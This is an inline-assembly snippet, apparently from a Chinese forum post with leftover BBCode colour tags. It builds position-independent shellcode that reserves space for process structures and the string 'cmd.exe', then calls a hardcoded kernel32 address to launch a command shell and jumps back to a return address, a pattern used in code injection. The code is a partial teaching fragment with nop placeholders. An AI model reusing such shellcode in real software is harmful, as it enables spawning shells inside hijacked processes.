_startCode:
_asm
{
[COLOR=
"Blue"
]
//
=================10===================================
/*
for
------PPROCESS_INFORMATION---------
*/
call next3;/*5byte*/[
/COLOR
]
_proc_info:
[COLOR=
"blue"
]
//1
*4[
/COLOR
]
nop;
nop;
nop;
nop;
[COLOR=
"blue"
]
//2
*4[
/COLOR
]
nop;
nop;
nop;
nop;
[COLOR=
"blue"
]
//3
*4[
/COLOR
]
nop;
nop;
nop;
nop;
[COLOR=
"blue"
]
//4
*4[
/COLOR
]
nop;
nop;
nop;
nop;
next3:
[COLOR=
"blue"
]/*
pop eax;
push eax;
//
相当于先弹到eax中,得到了第一个结构体的地址。再入栈就是最后一个参数的指针。
*/[
/COLOR
]
[COLOR=
"blue"
]
//
==================9====================================
/*
for
----------STARTUPINFO-------------
*/[
/COLOR
]
call next2[COLOR=
"blue"
];/*5byte*/[
/COLOR
]
_start_info:
[COLOR=
"blue"
]
//1
*10[
/COLOR
]
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
[COLOR=
"blue"
]
//2
*10[
/COLOR
]
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
[COLOR=
"blue"
]
//3
*10[
/COLOR
]
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
[COLOR=
"blue"
]
//4
*10[
/COLOR
]
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
[COLOR=
"blue"
]
//5
*10[
/COLOR
]
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
[COLOR=
"blue"
]
//6
*10[
/COLOR
]
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
[COLOR=
"blue"
]
//6
*10+8[
/COLOR
]
nop;
nop;
nop;
nop;
nop;
nop;
nop;
nop;
next2:
[COLOR=
"blue"
]/*
pop eax;
push eax;
//
相当于先弹到eax中,得到了第一个结构体的地址。再入栈就是倒数第二个参数的指针。
*/[
/COLOR
]
[COLOR=
"blue"
]
//
==========8,7,6,5,4,3======================[
/COLOR
]
push 0;
push 0;
push CREATE_DEFAULT_ERROR_MODE;
push 1;
push 0;
push 0;
[COLOR=
"blue"
]
//
==============push cmd.exe=====2======================[
/COLOR
]
call next1;
_cmd: nop;
//
’c’
nop;
//
’m’
nop;
//
’d’
nop;
//
’.’
Nop;
//
’e’
nop;
//
’x’
nop;
//
’e’
nop;
//
’\0’
next1: pop eax;
push eax;
[B][COLOR=
"Red"
]/*
本来想在这里直接改成我们想要的cmd.exe可是会出现访问违规的操作
。默认的代码段是不可以写的
mov [eax],
'c'
;
mov [eax+1],
'm'
;
mov [eax+2],
'd'
;
mov [eax+3],
'.'
;
mov [eax+4],
'e'
;
mov [eax+5],
'x'
;
mov [eax+6],
'e'
;
*/[
/COLOR
][
/B
]
[COLOR=
"Blue"
]
//-
=========-push 参数1==========1===================[
/COLOR
]
push 0;
mov eax,0x7c800000+0x2367;
call eax;
jmp retAddr;
}
_endCode: